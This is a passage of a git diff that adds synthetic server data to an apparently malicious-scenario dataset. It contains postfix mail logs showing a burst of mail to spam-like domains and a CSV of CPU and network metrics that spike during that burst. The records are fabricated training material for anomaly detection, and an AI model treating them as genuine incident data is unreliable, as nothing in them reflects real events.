status=sent (250 2.0.0 OK) +Aug 26 14:05:40 server postfix/smtp[1589]: 82FCFBB2F4: to=, relay=mx.emailprovider.co[171.165.241.158]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:40 server postfix/smtp[1589]: 18B58C4396: to=, relay=mx.mailservice.net[120.47.167.231]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:40 server postfix/smtp[1589]: 77A0F2CF13: to=, relay=mx.web-host.org[167.89.136.218]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:40 server postfix/smtp[1589]: 3DF9F0E2B5: to=, relay=mx.emailprovider.co[195.161.185.12]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:45 server postfix/smtp[1590]: A7D1890774: to=<6qfwkkp2@randomsite.biz>, relay=mx.randomsite.biz[151.69.19.128]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:45 server postfix/smtp[1590]: 24E068DCE8: to=<0bzqq9h5@example.com>, relay=mx.example.com[145.170.12.240]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:45 server postfix/smtp[1590]: 4CC050EB18: to=, relay=mx.mailservice.net[123.200.38.114]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:50 server postfix/smtp[1591]: 043A56D8E7: to=<7v8rh40i@mailservice.net>, relay=mx.mailservice.net[134.128.171.63]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:50 server postfix/smtp[1591]: C4F4D534EB: to=, relay=mx.example.com[131.144.42.153]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:50 server postfix/smtp[1591]: E3A3C1EA25: to=, relay=mx.example.com[187.222.149.6]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:50 server postfix/cleanup[1670]: AAFF6D44E6: message-id= +Aug 26 14:05:50 server postfix/bounce[1770]: AAFF6D44E6: sender non-delivery notification: AAFF6D44E6B +Aug 26 14:05:55 server postfix/smtp[1592]: B92741D39F: to=, relay=mx.emailprovider.co[117.89.227.167]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:55 server postfix/smtp[1592]: 189B26CBBB: to=, relay=mx.randomsite.biz[168.89.136.163]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:55 server postfix/smtp[1592]: F6562B6E5A: to=, relay=mx.web-host.org[127.47.41.53]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:55 server postfix/smtp[1592]: 7AD3032643: to=, relay=mx.web-host.org[104.187.189.109]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:05:55 server postfix/smtp[1592]: 7778191947: to=, relay=mx.example.com[154.194.23.91]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:00 server postfix/smtp[1593]: 9207320908: to=, relay=mx.example.com[183.127.113.230]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:00 server postfix/smtp[1593]: 3602D2BE0E: to=<99ums7ze@randomsite.biz>, relay=mx.randomsite.biz[181.213.99.178]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:00 server postfix/smtp[1593]: C84B5EC53E: to=<0wbxhsjb@web-host.org>, relay=mx.web-host.org[143.88.65.108]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:00 server postfix/smtp[1593]: 40113C33C9: to=, relay=mx.example.com[182.31.176.241]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:05 server postfix/smtp[1594]: B2F9243439: to=, relay=mx.web-host.org[138.185.18.190]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:05 server postfix/smtp[1594]: 8CCBE32639: to=, relay=mx.randomsite.biz[150.24.76.20]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:05 server postfix/smtp[1594]: E71D35EC1D: to=<4nkpl2p2@mailservice.net>, relay=mx.mailservice.net[164.176.213.113]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:05 server postfix/smtp[1594]: 0628664F80: to=<8kyxa0nj@emailprovider.co>, relay=mx.emailprovider.co[152.100.133.197]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:05 server postfix/smtp[1594]: D70BD6525C: to=, relay=mx.web-host.org[153.213.160.237]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:05 server postfix/smtp[1594]: 40E6D2D93D: to=, relay=mx.randomsite.biz[123.220.148.162]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:10 server postfix/smtp[1595]: 20CD652718: to=, relay=mx.randomsite.biz[121.74.136.14]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:10 server postfix/smtp[1595]: 57FC934D31: to=, relay=mx.randomsite.biz[165.49.128.64]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:10 server postfix/smtp[1595]: EFCAF35B87: to=, relay=mx.web-host.org[119.245.129.110]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:10 server postfix/smtp[1595]: CECE4C84FA: to=, relay=mx.mailservice.net[137.197.227.142]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:15 server postfix/smtp[1596]: E813AC9817: to=, relay=mx.randomsite.biz[135.40.98.45]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:15 server postfix/smtp[1596]: 1A6F4071F9: to=<3t4mkfva@web-host.org>, relay=mx.web-host.org[165.174.246.111]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:15 server postfix/smtp[1596]: B3F97949F1: to=<5lnygiys@example.com>, relay=mx.example.com[190.153.171.207]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:15 server postfix/smtp[1596]: 02FD01AC58: to=, relay=mx.randomsite.biz[187.118.52.213]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:15 server postfix/cleanup[1675]: F26AD0EE5E: message-id= +Aug 26 14:06:15 server postfix/bounce[1775]: F26AD0EE5E: sender non-delivery notification: F26AD0EE5EB +Aug 26 14:06:20 server postfix/smtp[1597]: 762C455214: to=<0sahmi53@example.com>, relay=mx.example.com[125.190.23.18]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:20 server postfix/smtp[1597]: 07B591AB25: to=, relay=mx.mailservice.net[109.135.107.134]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:20 server postfix/smtp[1597]: D37C42E1C8: to=, relay=mx.mailservice.net[127.234.32.251]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:20 server postfix/smtp[1597]: 9AD182566A: to=<2nf1tb06@mailservice.net>, relay=mx.mailservice.net[188.78.149.222]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:20 server postfix/smtp[1597]: E20A1AFB50: to=, relay=mx.mailservice.net[180.155.120.129]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:20 server postfix/smtp[1597]: 49CF3361D5: to=, relay=mx.example.com[120.23.5.245]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:25 server postfix/smtp[1598]: F7177C5C05: to=<9zei2wib@web-host.org>, relay=mx.web-host.org[138.235.113.86]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:25 server postfix/smtp[1598]: 89D68E24AA: to=, relay=mx.randomsite.biz[169.86.206.150]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:25 server postfix/smtp[1598]: 120B36B742: to=, relay=mx.web-host.org[152.137.168.124]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:25 server postfix/smtp[1598]: 676ACE23D0: to=, relay=mx.web-host.org[136.124.7.108]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:25 server postfix/smtp[1598]: D19A4A655E: to=, relay=mx.example.com[116.201.32.81]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:25 server postfix/smtp[1598]: ED9EC99F4A: to=<5c3r27q3@emailprovider.co>, relay=mx.emailprovider.co[161.173.24.62]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:30 server postfix/smtp[1599]: BE97D97047: to=, relay=mx.emailprovider.co[121.87.14.247]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:30 server postfix/smtp[1599]: 3C6F60FD0B: to=<0apgp80z@randomsite.biz>, relay=mx.randomsite.biz[175.232.201.23]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:30 server postfix/smtp[1599]: 94A73164E7: to=<5bqjxufe@emailprovider.co>, relay=mx.emailprovider.co[187.195.73.250]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:30 server postfix/smtp[1599]: CF5F1B15D2: to=, relay=mx.web-host.org[153.98.51.184]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:30 server postfix/smtp[1599]: D4C6BE1701: to=, relay=mx.randomsite.biz[118.180.120.35]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:30 server postfix/smtp[1599]: 1AF4D2CFE5: to=<28j02ch2@randomsite.biz>, relay=mx.randomsite.biz[158.149.70.235]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:35 server postfix/smtp[1600]: 590B769275: to=, relay=mx.emailprovider.co[110.6.90.70]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:35 server postfix/smtp[1600]: 3731AD6C50: to=<6rzwxjzl@web-host.org>, relay=mx.web-host.org[177.80.42.252]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:35 server postfix/smtp[1600]: 517A71C508: to=, relay=mx.randomsite.biz[153.185.238.150]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:35 server postfix/smtp[1600]: 20FFF5855F: to=, relay=mx.mailservice.net[111.55.81.222]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:35 server postfix/smtp[1600]: 011DACA3F9: to=, relay=mx.emailprovider.co[139.215.88.214]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:06:40 server systemd[1]: Starting daily clean up activities... \ No newline at end of file diff --git a/mali_dataset/scenario_5/mali_5_14.csv b/mali_dataset/scenario_5/mali_5_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..36dfaea653ba4581ec68454ea3a6c3d49496c4ec --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,15.73,40.94,9.34,1.21,0.84 +2025-08-26T14:00:05Z,10.99,44.77,13.55,1.02,2.21 +2025-08-26T14:00:10Z,13.62,43.84,17.67,1.46,1.43 +2025-08-26T14:00:15Z,12.46,42.92,15.33,1.09,0.8 +2025-08-26T14:00:20Z,14.89,41.73,19.16,0.87,0.66 +2025-08-26T14:00:25Z,13.7,43.89,17.66,0.76,0.89 +2025-08-26T14:00:30Z,10.19,40.51,17.29,1.37,2.34 +2025-08-26T14:00:35Z,18.86,44.95,15.59,1.33,1.1 +2025-08-26T14:00:40Z,13.85,42.6,15.19,0.8,2.34 +2025-08-26T14:00:45Z,14.93,40.76,13.21,1.07,1.66 +2025-08-26T14:00:50Z,19.07,44.32,12.46,0.66,1.17 +2025-08-26T14:00:55Z,18.59,42.26,13.62,0.77,0.87 +2025-08-26T14:01:00Z,12.38,43.11,11.74,0.8,2.04 +2025-08-26T14:01:05Z,19.83,42.94,10.4,1.21,2.36 +2025-08-26T14:01:10Z,19.23,40.59,15.24,1.24,0.93 +2025-08-26T14:01:15Z,19.14,41.86,10.22,0.69,1.83 +2025-08-26T14:01:20Z,15.03,40.33,13.97,0.74,1.39 +2025-08-26T14:01:25Z,18.16,41.24,15.75,0.99,1.9 +2025-08-26T14:01:30Z,15.83,41.57,17.73,1.16,1.43 +2025-08-26T14:01:35Z,14.84,42.21,12.82,1.06,2.22 +2025-08-26T14:01:40Z,64.22,42.04,5.14,1.8,21.54 +2025-08-26T14:01:45Z,56.33,41.32,10.32,1.04,20.6 +2025-08-26T14:01:50Z,49.93,38.41,10.2,1.94,22.02 +2025-08-26T14:01:55Z,53.49,38.72,5.4,1.84,29.27 +2025-08-26T14:02:00Z,42.89,39.65,14.39,1.97,15.03 +2025-08-26T14:02:05Z,48.09,39.26,14.46,0.87,16.75 +2025-08-26T14:02:10Z,43.31,41.59,5.37,1.96,20.17 +2025-08-26T14:02:15Z,38.11,42.19,14.03,0.99,24.39 +2025-08-26T14:02:20Z,37.86,42.77,8.93,1.27,17.26 +2025-08-26T14:02:25Z,41.38,38.7,5.32,1.84,25.66 +2025-08-26T14:02:30Z,60.59,42.59,11.09,1.22,15.26 +2025-08-26T14:02:35Z,48.7,38.74,9.01,1.01,20.58 +2025-08-26T14:02:40Z,49.53,39.51,6.82,1.24,30.59 +2025-08-26T14:02:45Z,49.37,40.93,13.73,1.79,34.2 +2025-08-26T14:02:50Z,36.15,38.04,5.35,1.07,17.07 +2025-08-26T14:02:55Z,45.3,38.62,12.25,1.37,16.77 +2025-08-26T14:03:00Z,36.08,40.85,6.27,1.06,17.23 +2025-08-26T14:03:05Z,36.92,40.74,11.92,0.91,30.38 +2025-08-26T14:03:10Z,54.91,41.0,7.35,0.88,31.96 +2025-08-26T14:03:15Z,42.11,42.11,8.63,1.4,32.46 +2025-08-26T14:03:20Z,56.18,42.09,10.93,0.92,28.4 +2025-08-26T14:03:25Z,61.0,39.53,8.95,1.91,21.63 +2025-08-26T14:03:30Z,55.26,41.86,8.05,0.84,30.15 +2025-08-26T14:03:35Z,60.03,39.21,8.83,1.34,34.73 +2025-08-26T14:03:40Z,61.36,39.39,13.1,0.89,26.2 +2025-08-26T14:03:45Z,35.97,39.51,10.54,0.89,24.74 +2025-08-26T14:03:50Z,50.34,42.23,13.42,1.48,15.19 +2025-08-26T14:03:55Z,48.24,40.9,5.26,1.96,28.27 +2025-08-26T14:04:00Z,64.06,39.43,12.45,1.81,22.57 +2025-08-26T14:04:05Z,64.07,40.34,11.95,0.96,33.27 +2025-08-26T14:04:10Z,51.21,40.42,10.75,1.7,17.02 +2025-08-26T14:04:15Z,41.87,41.17,8.21,1.94,18.39 +2025-08-26T14:04:20Z,56.12,38.23,5.42,1.69,22.64 +2025-08-26T14:04:25Z,38.38,41.7,5.92,1.96,18.71 +2025-08-26T14:04:30Z,56.06,41.06,10.03,1.28,26.52 +2025-08-26T14:04:35Z,64.73,38.04,6.37,1.58,15.32 +2025-08-26T14:04:40Z,49.84,38.37,14.43,1.04,16.43 +2025-08-26T14:04:45Z,53.54,41.44,10.81,1.5,24.33 +2025-08-26T14:04:50Z,38.09,41.96,13.58,1.06,18.47 +2025-08-26T14:04:55Z,61.03,39.57,14.93,1.23,19.58 +2025-08-26T14:05:00Z,54.97,39.82,9.03,1.61,15.83 +2025-08-26T14:05:05Z,43.28,39.77,6.57,1.3,31.95 +2025-08-26T14:05:10Z,59.28,38.06,5.64,1.29,27.31 +2025-08-26T14:05:15Z,63.04,41.67,8.0,1.92,34.26 +2025-08-26T14:05:20Z,38.03,38.64,7.48,1.83,29.9 +2025-08-26T14:05:25Z,41.88,39.22,7.55,1.99,18.41 +2025-08-26T14:05:30Z,48.52,40.68,6.76,1.77,30.4 +2025-08-26T14:05:35Z,39.24,42.59,13.05,0.81,26.09 +2025-08-26T14:05:40Z,45.98,42.88,10.49,1.28,15.41 +2025-08-26T14:05:45Z,50.99,41.24,11.94,0.97,24.03 +2025-08-26T14:05:50Z,47.51,39.8,11.45,1.79,30.22 +2025-08-26T14:05:55Z,61.48,42.95,5.22,1.25,34.35 +2025-08-26T14:06:00Z,55.34,39.52,7.94,1.67,32.39 +2025-08-26T14:06:05Z,55.82,38.48,9.77,1.48,16.54 +2025-08-26T14:06:10Z,48.98,42.43,9.08,1.1,18.95 +2025-08-26T14:06:15Z,41.49,39.32,13.8,1.36,16.8 +2025-08-26T14:06:20Z,46.64,39.08,6.85,1.33,21.81 +2025-08-26T14:06:25Z,44.68,40.84,11.71,1.02,24.45 +2025-08-26T14:06:30Z,37.02,40.1,7.72,1.64,34.22 +2025-08-26T14:06:35Z,53.47,39.36,7.56,1.53,17.27 +2025-08-26T14:06:40Z,17.1,43.78,15.17,0.88,0.72 +2025-08-26T14:06:45Z,12.28,42.54,10.69,0.81,2.38 +2025-08-26T14:06:50Z,16.38,41.91,11.45,1.14,2.15 +2025-08-26T14:06:55Z,17.97,42.33,19.69,1.18,0.98 +2025-08-26T14:07:00Z,15.0,42.35,8.36,1.36,1.87 +2025-08-26T14:07:05Z,15.26,41.43,14.44,0.56,1.04 +2025-08-26T14:07:10Z,18.01,41.51,12.54,1.18,0.89 +2025-08-26T14:07:15Z,12.63,43.68,13.16,1.0,1.35 +2025-08-26T14:07:20Z,11.5,44.8,16.64,0.65,0.98 +2025-08-26T14:07:25Z,16.96,43.62,12.07,0.82,1.81 diff --git a/mali_dataset/scenario_5/mali_5_14.log b/mali_dataset/scenario_5/mali_5_14.log new file mode 100644 index 0000000000000000000000000000000000000000..f82c7f6331c384bb5e82240c4ea5fc96f6ad9396 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_14.log @@ -0,0 +1,342 @@ +Aug 26 14:00:00 mail-server postfix/smtp[8258]: 52C12C0A4E: to=, relay=mx.dodgy-deals.biz[198.51.100.19]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9E89908D0E) +Aug 26 14:00:05 mail-server CRON[6969]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:00:10 mail-server postfix/smtp[8623]: 24E86198A1: to=, relay=mx.get-rich-quick.org[198.51.100.17]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 02D4408461) +Aug 26 14:00:15 mail-server postfix/smtp[8781]: C4150FC184: to=, relay=mx.get-rich-quick.org[198.51.100.17]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5995491851) +Aug 26 14:00:20 mail-server CRON[6969]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:00:25 mail-server postfix/smtp[8050]: 63AC7463E8: to=, relay=mx.get-rich-quick.org[198.51.100.9]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D6886618E4) +Aug 26 14:00:30 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:00:35 mail-server postfix/smtp[9499]: 936ED5EBF5: to=, relay=mx.get-rich-quick.org[198.51.100.3]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CA8BD5FCE2) +Aug 26 14:00:40 mail-server postfix/smtp[8802]: E5AAAFFD2C: to=, relay=mx.get-rich-quick.org[198.51.100.6]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7F2FE9C20C) +Aug 26 14:00:45 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:00:50 mail-server postfix/smtp[9371]: 2CE008C64A: to=, relay=mx.dodgy-deals.biz[198.51.100.12]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C1ADFA361E) +Aug 26 14:00:55 mail-server postfix/smtp[9297]: D0AC0B1F31: to=, relay=mx.random-emails.net[198.51.100.4]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F2E4B88079) +Aug 26 14:01:00 mail-server CRON[6969]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:05 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:01:10 mail-server postfix/smtp[9436]: B391E9BDCD: to=, relay=mx.get-rich-quick.org[198.51.100.5]:25, delay=3.0, delays=0.05/0/0.5/2.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 97B557473C) +Aug 26 14:01:15 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. +Aug 26 14:01:20 mail-server postfix/smtp[8039]: 4C27F0F871: to=, relay=mx.random-emails.net[198.51.100.15]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 039F8B29C4) +Aug 26 14:01:25 mail-server CRON[6969]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:30 mail-server postfix/smtp[9317]: 19AC869F1A: to=, relay=mx.dodgy-deals.biz[198.51.100.16]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 869DFEF202) +Aug 26 14:01:35 mail-server postfix/smtp[9218]: 777F49F6F8: to=, relay=mx.random-emails.net[198.51.100.5]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 49456B12FC) +Aug 26 14:01:40 mail-server postfix/smtp[15022]: 5371D0D17A: to=, relay=mx.dodgy-deals.biz[198.51.100.4]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8E0D93F36E) +Aug 26 14:01:40 mail-server postfix/smtp[20695]: 1C5D72B021: to=, relay=mx.dodgy-deals.biz[198.51.100.11]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9CBBD39B70) +Aug 26 14:01:40 mail-server postfix/smtp[21707]: 58B7A6E004: to=, relay=mx.random-emails.net[198.51.100.15]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 40C2F60CE2) +Aug 26 14:01:40 mail-server postfix/smtp[22311]: 51B6FA8FC6: to=, relay=mx.spam-target.com[198.51.100.11]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 251BE4640F) +Aug 26 14:01:40 mail-server postfix/smtp[23474]: 40BEA83EB3: to=, relay=mx.dodgy-deals.biz[198.51.100.19]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AE835FB766) +Aug 26 14:01:40 mail-server postfix/smtp[24052]: 97765BBFDB: to=, relay=mx.get-rich-quick.org[198.51.100.11]:25, delay=6.5, delays=0.1/0/6.3/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.11] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:01:45 mail-server postfix/smtp[13198]: DD24745A1D: to=, relay=mx.dodgy-deals.biz[198.51.100.3]:25, delay=4.3, delays=0.1/0/4.1/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.3] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:01:45 mail-server postfix/smtp[15495]: 657FD14AFB: to=, relay=mx.random-emails.net[198.51.100.10]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E1478BA22C) +Aug 26 14:01:45 mail-server postfix/smtp[21152]: 671684EA2C: to=, relay=mx.dodgy-deals.biz[198.51.100.2]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A64A249A9C) +Aug 26 14:01:45 mail-server postfix/smtp[21210]: B2690372B1: to=, relay=mx.dodgy-deals.biz[198.51.100.19]:25, delay=4.1, delays=0.1/0/3.9/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.19] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:01:45 mail-server postfix/smtp[21921]: 5544AFA9BE: to=, relay=mx.dodgy-deals.biz[198.51.100.14]:25, delay=4.8, delays=0.1/0/4.6/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.14] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:01:45 mail-server postfix/smtp[23137]: 89858AE702: to=, relay=mx.get-rich-quick.org[198.51.100.11]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0A31410B8C) +Aug 26 14:01:45 mail-server postfix/smtp[24475]: D48CBBB9B5: to=, relay=mx.spam-target.com[198.51.100.3]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D4F9B408BA) +Aug 26 14:01:50 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. +Aug 26 14:01:50 mail-server postfix/smtp[12383]: 8649E2830E: to=, relay=mx.random-emails.net[198.51.100.19]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F3BCBEE4B1) +Aug 26 14:01:50 mail-server postfix/smtp[12867]: 918001EC1F: to=, relay=mx.dodgy-deals.biz[198.51.100.12]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 52DEB9B960) +Aug 26 14:01:50 mail-server postfix/smtp[17098]: 7D46B3A335: to=, relay=mx.random-emails.net[198.51.100.9]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CC2205D5DF) +Aug 26 14:01:50 mail-server postfix/smtp[19992]: B6B501CDED: to=, relay=mx.get-rich-quick.org[198.51.100.9]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 01467525D5) +Aug 26 14:01:50 mail-server postfix/smtp[20777]: DBA5993545: to=, relay=mx.random-emails.net[198.51.100.1]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B292FB48C9) +Aug 26 14:01:55 mail-server postfix/smtp[10277]: 823D71D661: to=, relay=mx.get-rich-quick.org[198.51.100.11]:25, delay=5.6, delays=0.1/0/5.4/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.11] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:01:55 mail-server postfix/smtp[11601]: 0A5C9AF108: to=, relay=mx.get-rich-quick.org[198.51.100.16]:25, delay=4.1, delays=0.1/0/3.9/0.1, dsn=5.1.1, status=bounced (host 